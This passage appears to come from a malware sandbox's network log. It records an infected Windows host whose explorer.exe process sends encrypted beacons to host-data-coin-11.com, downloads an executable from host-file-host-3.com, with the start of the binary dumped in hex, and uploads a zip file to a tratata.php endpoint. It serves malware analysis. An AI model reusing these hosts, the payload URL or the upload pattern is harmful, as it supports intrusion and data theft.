Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
43	192.168.2.4	49799	95.213.165.249	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 1, 2021 09:14:26.680505037 CET	7315	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://hqppgl.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 216 Host: host-data-coin-11.com
Dec 1, 2021 09:14:26.680521965 CET	7315	OUT	Data Raw: 10 87 8a e3 6e f5 a2 ba b9 49 0e 46 7d cd 97 f3 30 13 df 3f d3 37 1e 98 c8 eb de 82 f8 a2 90 83 1e ba 58 d3 6b 6e b8 e6 e8 a8 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 85 de 85 66 5d 02 c8 a1 c1 64 14 9a cb 69 Data Ascii: nIF}0?7XknwmDu$f]diV7-HmgvR:Zxa7DAILJwX%WzL]\FWL9<< wvo 'a3Ez74yd#s&
Dec 1, 2021 09:14:26.781894922 CET	7315	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Wed, 01 Dec 2021 08:14:26 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
44	192.168.2.4	49800	95.213.165.249	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 1, 2021 09:14:26.937504053 CET	7316	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://ybcka.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 275 Host: host-data-coin-11.com
Dec 1, 2021 09:14:26.937593937 CET	7316	OUT	Data Raw: 10 87 8a e3 6e f5 a2 ba b9 49 0e 46 7d cd 97 f3 30 13 df 3f d3 37 1e 98 c8 eb de 82 f8 a2 90 83 1e ba 58 d3 6b 6e b8 e6 e8 a8 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 85 de 82 66 5d 02 c8 a1 c1 64 4b dc cf 68 Data Ascii: nIF}0?7XknwmDu$f]dKh!atoLFEGknz6Lc$a/.M>&FUW7F{68mK\dCj1PBtxd`,hczDGMd%K]xZb`-J:Zt/&
Dec 1, 2021 09:14:27.039542913 CET	7317	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Wed, 01 Dec 2021 08:14:27 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
45	192.168.2.4	49801	95.213.165.249	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 1, 2021 09:14:27.149297953 CET	7318	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://buintdmfv.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 128 Host: host-data-coin-11.com
Dec 1, 2021 09:14:27.149312019 CET	7318	OUT	Data Raw: 10 87 8a e3 6e f5 a2 ba b9 49 0e 46 7d cd 97 f3 30 13 df 3f d3 37 1e 98 c8 eb de 82 f8 a2 90 83 1e ba 58 d3 6b 6e b8 e6 e8 a8 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 85 de 83 66 5d 02 c8 a1 c1 64 3a 87 a8 23 Data Ascii: nIF}0?7XknwmDu$f]d:#DJ-7+G_gcWalK0>R@GK:
Dec 1, 2021 09:14:27.250431061 CET	7318	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Wed, 01 Dec 2021 08:14:27 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
46	192.168.2.4	49802	95.213.165.249	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 1, 2021 09:14:27.433342934 CET	7319	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://slymqhed.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 285 Host: host-data-coin-11.com
Dec 1, 2021 09:14:27.433366060 CET	7319	OUT	Data Raw: 10 87 8a e3 6e f5 a2 ba b9 49 0e 46 7d cd 97 f3 30 13 df 3f d3 37 1e 98 c8 eb de 82 f8 a2 90 83 1e ba 58 d3 6b 6e b8 e6 e8 a8 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 85 de 80 66 5d 02 c8 a1 c1 64 3e c2 d1 3a Data Ascii: nIF}0?7XknwmDu$f]d>:]uccU^n[d]IVk;v/63@$bg}idSj";I "PPT0s7TdnZ<sm[`r_7%O]GvK:mB@tK
Dec 1, 2021 09:14:27.534075975 CET	7320	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Wed, 01 Dec 2021 08:14:27 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
47	192.168.2.4	49803	95.213.165.249	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 1, 2021 09:14:27.630956888 CET	7321	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://oamtqaba.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 273 Host: host-data-coin-11.com
Dec 1, 2021 09:14:27.630961895 CET	7321	OUT	Data Raw: 10 87 8a e3 6e f5 a2 ba b9 49 0e 46 7d cd 97 f3 30 13 df 3f d3 37 1e 98 c8 eb de 82 f8 a2 90 83 1e ba 58 d3 6b 6e b8 e6 e8 a8 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 85 de 81 66 5d 02 c8 a1 c1 64 2a a7 9d 10 Data Ascii: nIF}0?7XknwmDu$f]d;]7\|ss_eT>;5{~x~f%g2E/8cEkD;1KrlZ+Z@1}t<2wlmD0ah0yHX1f/Sf]x]#%[\zq{&K&
Dec 1, 2021 09:14:27.734807014 CET	7322	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Wed, 01 Dec 2021 08:14:27 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
48	192.168.2.4	49804	95.213.165.249	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 1, 2021 09:14:27.908968925 CET	7323	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://xuobblxeto.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 132 Host: host-data-coin-11.com
Dec 1, 2021 09:14:27.908977985 CET	7323	OUT	Data Raw: 10 87 8a e3 6e f5 a2 ba b9 49 0e 46 7d cd 97 f3 30 13 df 3f d3 37 1e 98 c8 eb de 82 f8 a2 90 83 1e ba 58 d3 6b 6e b8 e6 e8 a8 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 85 de be 66 5d 02 c8 a1 c1 64 36 cd c1 12 Data Ascii: nIF}0?7XknwmDu$f]d6O"lkOjI$]!9A#&.V,X-Gu
Dec 1, 2021 09:14:28.010453939 CET	7323	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Wed, 01 Dec 2021 08:14:27 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 34 36 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f c9 88 55 13 26 14 f9 aa 89 ff a2 1e b7 08 93 31 f9 55 50 99 4a f7 e0 25 e5 39 1a 4b ef a8 8d 70 bc 57 da 4a d5 fe 24 85 21 ed c3 95 53 2f e5 a8 1d 63 a9 0d 0a 30 0d 0a 0d 0a Data Ascii: 46I:82OU&1UPJ%9KpWJ$!S/c0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
49	192.168.2.4	49805	95.213.165.249	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 1, 2021 09:14:28.136903048 CET	7324	OUT	GET /files/5311_1638303032_7343.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: host-file-host-3.com
Dec 1, 2021 09:14:28.219403028 CET	7325	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Wed, 01 Dec 2021 08:14:28 GMT Content-Type: application/x-msdos-program Content-Length: 1143000 Connection: close Last-Modified: Tue, 30 Nov 2021 20:10:32 GMT ETag: "1170d8-5d2072645dc9e" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 70 1c 69 a3 00 00 00 00 00 00 00 00 e0 00 0e 01 0b 01 30 00 00 60 11 00 00 06 00 00 00 00 00 00 9e 7e 11 00 00 20 00 00 00 80 11 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 c0 11 00 00 02 00 00 09 35 12 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 0f 00 00 00 00 00 00 00 00 00 00 00 50 7e 11 00 4b 00 00 00 00 80 11 00 bc 02 00 00 00 00 00 00 00 00 00 00 00 68 11 00 d8 08 00 00 00 a0 11 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 a4 5e 11 00 00 20 00 00 00 60 11 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 bc 02 00 00 00 80 11 00 00 04 00 00 00 62 11 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 a0 11 00 00 02 00 00 00 66 11 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 7e 11 00 00 00 00 00 48 00 00 00 02 00 05 00 00 18 02 00 dc 5f 05 00 03 00 00 00 da 07 00 06 dc 77 07 00 eb 89 06 00 c1 7d 11 00 80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 42 28 89 08 00 06 7e 53 02 00 04 28 81 0c 00 06 2a 00 00 00 13 30 04 00 04 00 00 00 00 00 00 00 00 00 14 2a 42 28 89 08 00 06 7e 53 02 00 04 28 81 0c 00 06 2a 00 00 00 12 00 00 17 2a 00 00 00 42 28 89 08 00 06 7e 53 02 00 04 28 81 0c 00 06 2a 00 00 00 12 00 00 17 2a 00 00 00 12 00 00 14 2a 00 00 00 13 30 04 00 04 00 00 00 00 00 00 00 00 00 17 2a 13 30 04 00 04 00 00 00 00 00 00 00 00 00 17 2a 13 30 04 00 04 00 00 00 00 00 00 00 00 00 16 2a 42 28 89 08 00 06 7e 53 02 00 04 28 81 0c 00 06 2a 00 00 00 12 00 00 17 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 13 30 04 00 04 00 00 00 00 00 00 00 00 00 14 2a 42 28 89 08 00 06 7e 53 02 00 04 28 81 0c 00 06 2a 00 00 00 12 00 00 17 2a 00 00 00 13 30 04 00 04 00 00 00 00 00 00 00 00 00 17 2a 13 30 04 00 04 00 00 00 00 00 00 00 00 00 17 2a 13 30 0a 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 0d 00 04 00 00 00 00 00 00 00 00 00 14 2a 42 28 89 08 00 06 7e 53 02 00 04 28 81 0c 00 06 2a 00 00 00 13 30 04 00 04 00 00 00 00 00 00 00 00 00 00 2a 03 30 04 00 04 00 00 00 00 00 00 00 00 00 00 2a 42 28 89 08 00 06 7e 53 02 00 04 28 81 0c 00 06 2a 00 00 00 13 30 02 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 17 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 17 2a 12 00 00 14 2a 00 00 00 42 28 89 08 00 06 7e 53 02 00 04 28 81 0c 00 06 2a 00 00 00 13 30 05 00 04 00 00 00 00 00 00 00 00 00 17 2a 13 30 05 00 04 00 00 00 00 00 00 00 00 00 17 2a 13 30 05 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELpi0`~ @ 5@P~Kh H.text^ ` `.rsrcb@.relocf@B~H_w}B(~S(0B(~S(B(~S(000B(~S(***0B(~S(*0000B(~S(00B(~S(000B(~S(000
Dec 1, 2021 09:14:28.219444990 CET	7327	IN	Data Raw: 00 04 00 00 00 00 00 00 00 00 00 17 2a 13 30 04 00 04 00 00 00 00 00 00 00 00 00 17 2a 13 30 05 00 04 00 00 00 00 00 00 00 00 00 17 2a 13 30 04 00 04 00 00 00 00 00 00 00 00 00 17 2a 13 30 05 00 04 00 00 00 00 00 00 00 00 00 17 2a 13 30 04 00 04 Data Ascii: 000000000000*0
Dec 1, 2021 09:14:28.219468117 CET	7328	IN	Data Raw: 00 00 00 00 00 00 00 00 00 14 2a 41 4c 00 00 02 00 00 00 c0 00 00 00 13 01 00 00 d3 01 00 00 5e 00 00 00 00 00 00 00 02 00 00 00 8c 00 00 00 a5 01 00 00 31 02 00 00 71 00 00 00 00 00 00 00 02 00 00 00 55 00 00 00 4d 02 00 00 a2 02 00 00 81 00 00 Data Ascii: AL^1qUM0AL:qgF0^0*AL?u
Dec 1, 2021 09:14:28.219489098 CET	7329	IN	Data Raw: 00 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 03 30 08 00 04 00 00 00 00 00 00 00 00 00 14 2a 01 10 00 00 02 00 52 00 3f 91 00 5e 00 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 16 2a 00 00 00 12 Data Ascii: 000R?^*************0C**0
Dec 1, 2021 09:14:28.219511032 CET	7331	IN	Data Raw: 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 Data Ascii: ************00*"I"I*"I"I"I"I*
Dec 1, 2021 09:14:28.219784975 CET	7332	IN	Data Raw: 17 2a 00 00 00 13 30 03 00 04 00 00 00 00 00 00 00 00 00 17 2a 22 00 14 a5 46 00 00 01 2a 00 00 00 22 00 14 a5 46 00 00 01 2a 00 00 00 22 00 14 a5 46 00 00 01 2a 00 00 00 22 00 14 a5 46 00 00 01 2a 00 00 00 13 30 04 00 08 00 00 00 00 00 00 00 00 Data Ascii: 0"F"F"F"F0C****"["["["["["[j***
Dec 1, 2021 09:14:28.220494986 CET	7334	IN	Data Raw: 30 08 00 04 00 00 00 00 00 00 00 00 00 17 2a 01 10 00 00 00 00 2c 00 3e 6a 00 53 11 00 00 01 03 30 08 00 04 00 00 00 00 00 00 00 00 00 17 2a 01 10 00 00 00 00 2f 00 3e 6d 00 53 11 00 00 01 03 30 08 00 04 00 00 00 00 00 00 00 00 00 17 2a 01 10 00 Data Ascii: 0,>jS0/>mS0>S00,0,>jS0,>jS0
Dec 1, 2021 09:14:28.220523119 CET	7335	IN	Data Raw: 53 11 00 00 01 03 30 08 00 04 00 00 00 00 00 00 00 00 16 6b 2a 01 10 00 00 00 00 00 00 11 11 00 0d 11 00 00 01 03 30 08 00 04 00 00 00 00 00 00 00 00 16 6b 2a 01 10 00 00 00 00 1b 00 11 2c 00 0d 11 00 00 01 22 00 14 a5 5a 00 00 01 2a 00 00 00 03 Data Ascii: S0k0k,"Z0Z,CoW0Z,CoS0ZCS0Z*0Z
Dec 1, 2021 09:14:28.220545053 CET	7336	IN	Data Raw: 00 00 00 00 00 00 00 00 00 14 2a 01 10 00 00 00 00 00 00 40 40 00 08 11 00 00 01 03 30 08 00 04 00 00 00 00 00 00 00 00 00 14 2a 01 10 00 00 00 00 00 00 40 40 00 0d 11 00 00 01 03 30 08 00 04 00 00 00 00 00 00 00 00 00 14 2a 01 10 00 00 00 00 00 Data Ascii: @@0@@06606606600660660
Dec 1, 2021 09:14:28.220567942 CET	7338	IN	Data Raw: 2a 01 10 00 00 00 00 00 00 36 36 00 08 11 00 00 01 03 30 08 00 04 00 00 00 00 00 00 00 00 00 14 2a 01 10 00 00 00 00 00 00 36 36 00 0d 11 00 00 01 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 03 30 08 00 04 00 00 00 00 00 00 00 00 00 14 2a 01 Data Ascii: 66066006606606600660*660
Dec 1, 2021 09:14:28.277529001 CET	7339	IN	Data Raw: 10 00 00 00 00 2f 00 3e 6d 00 53 11 00 00 01 03 30 08 00 04 00 00 00 00 00 00 00 00 00 16 2a 01 10 00 00 00 00 9b 00 3e d9 00 53 11 00 00 01 03 30 08 00 04 00 00 00 00 00 00 00 00 00 16 2a 01 10 00 00 00 00 00 00 11 11 00 0d 11 00 00 01 03 30 08 Data Ascii: />mS0>S00,0,>jS0/>mS0>S0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
5	192.168.2.4	49760	95.213.165.249	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 1, 2021 09:13:56.216691017 CET	1084	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://ggigae.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 364 Host: host-data-coin-11.com
Dec 1, 2021 09:13:56.216733932 CET	1085	OUT	Data Raw: 10 87 8a e3 6e f5 a2 ba b9 49 0e 46 7d cd 97 f3 30 13 df 3f d3 37 1e 98 c8 eb de 82 f8 a2 90 83 1e ba 58 d3 6b 6e b8 e6 e8 a8 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 85 de 9c 66 5d 02 c8 a1 c1 64 37 dd b8 6e Data Ascii: nIF}0?7XknwmDu$f]d7nVd1nHtDP0\|Okr"2XJD/Y;+d>2Au6F{T$h&r;O?hlYM?_PwB]Ta4qJjvA]FxhW&C
Dec 1, 2021 09:13:56.318475008 CET	1085	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Wed, 01 Dec 2021 08:13:56 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
50	192.168.2.4	49809	95.213.165.249	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 1, 2021 09:14:32.314840078 CET	8555	OUT	POST /tratata.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----Q9RQQIMOZU3E3EKX Host: file-file-host4.com Content-Length: 104683 Connection: Keep-Alive Cache-Control: no-cache Cookie: PHPSESSID=t42nernt19g8nsbjut69kb7u9v
Dec 1, 2021 09:14:32.315046072 CET	8567	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 51 39 52 51 51 49 4d 4f 5a 55 33 45 33 45 4b 58 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 56 53 4a 35 58 54 4a 35 2e 7a 69 Data Ascii: ------Q9RQQIMOZU3E3EKXContent-Disposition: form-data; name="file"VSJ5XTJ5.zip------Q9RQQIMOZU3E3EKXContent-Disposition: form-data; name="file"; filename="VSJ5XTJ5.zip"Content-Type: application/octet-streamContent-Transfer-Encodin
Dec 1, 2021 09:14:32.372447968 CET	8571	OUT	Data Raw: 50 65 30 99 24 ae e4 78 0c c2 e8 69 0c 02 0b 03 97 39 6d f0 45 46 f4 fb b8 c5 77 91 1b 58 1f 94 04 8f 54 ea ac ee 41 07 34 61 eb 12 4a 3b cf 59 86 b4 e4 32 74 f9 e7 39 73 46 d7 2f df 5b cc 48 9a 70 75 e8 70 b2 d6 bd 30 ae b9 07 e1 e6 3c 64 70 f2 Data Ascii: Pe0$xi9mEFwXTA4aJ;Y2t9sF/[Hpup0<dpQ@UQ]eLSyKK()zV~-d{D-.DRa>OTp\Q.G=T/b5 N<s;.C
Dec 1, 2021 09:14:32.372503996 CET	8582	OUT	Data Raw: 95 be 55 df 83 1a 63 ea 3b 0a b5 f4 75 27 e5 4d ca 6a 53 a6 25 ea 14 5a 69 24 64 b2 65 ac 70 56 3f 74 d9 33 06 05 95 d5 9c 88 fa df 30 e4 9a d7 06 d7 ce 17 d9 be 74 3e 9b d8 52 b4 6a 90 e7 2a 33 9d 0c c5 16 b8 61 ed fa ca 38 5f ee f9 94 b7 fc 89 Data Ascii: Uc;u'MjS%Zi$depV?t30t>Rj*3a8_UrN\Km{Os#.7r/3F?Yn&7ZL3v&A8{VXU=j@3_]^"(#'C?\q:{:Q5M9Lgsd1o$
Dec 1, 2021 09:14:32.372665882 CET	8593	OUT	Data Raw: 3c 96 11 d5 21 df f7 7b 48 31 5f 8a a7 48 59 3d 4e bd cc 96 07 f6 82 16 70 a8 1a e3 71 ea e9 19 a3 81 79 90 15 98 51 46 3b 7e 26 78 09 f2 20 4b 75 1a 62 2b cd fc f3 21 2a 46 4b f3 1d 95 eb 9b 63 08 de fe 79 10 12 12 9a b9 38 e7 34 be 35 4f 5c 5d Data Ascii: <!{H1_HY=NpqyQF;~&x Kub+!FKcy845O\]0>=(o!<FNO,&!d^"@]~vmO=9"`uB!UT$#oua)jLv95As,#J#Mm/vLi{>?}UCRC
Dec 1, 2021 09:14:32.430732012 CET	8598	OUT	Data Raw: 35 38 76 5f 06 6f e4 d9 72 86 a1 72 f1 87 7e 2c 60 3c 4c d6 42 0d e5 79 e3 ce a1 b4 38 ab 47 cf 71 a5 b4 93 60 74 a1 22 8c ef f5 bb e4 29 1d 47 4a b0 23 b1 cb cb 6e e7 9f eb b1 50 3d ff 87 a3 3d a8 82 7c d4 07 f3 6a e4 e5 1c 7a 31 b7 21 3c ef 53 Data Ascii: 58v_orr~,`<LBy8Gq`t")GJ#nP==\|jz1!<S9w+QDn%SqS#RWC8`!rB!I>D}('oCFq];,m$H w\|"-{b lJ>&bq]Ai?KCFF=p.`2
Dec 1, 2021 09:14:32.430802107 CET	8604	OUT	Data Raw: f2 17 bb 12 b8 8d 0f fd 7b 77 53 5a a2 b7 a0 bb b7 b3 49 b2 a3 11 e6 a2 54 5e a4 93 19 36 ce 34 41 f1 fb d7 63 89 c6 dc bb 63 eb 9b 7f de 8f 93 1c 4e 57 b1 6b 69 80 3a 52 83 44 f5 73 90 36 41 4b e3 4b 5a 72 38 a3 07 26 64 69 12 8c 92 8e 1e 9c 05 Data Ascii: {wSZIT^64AccNWki:RDs6AKKZr8&di3_7H,zDK4@"B~2(Nws(%chhlaE}kpnzXT)x(3gi:;HuE^(#jA>}_Oo"Z"};
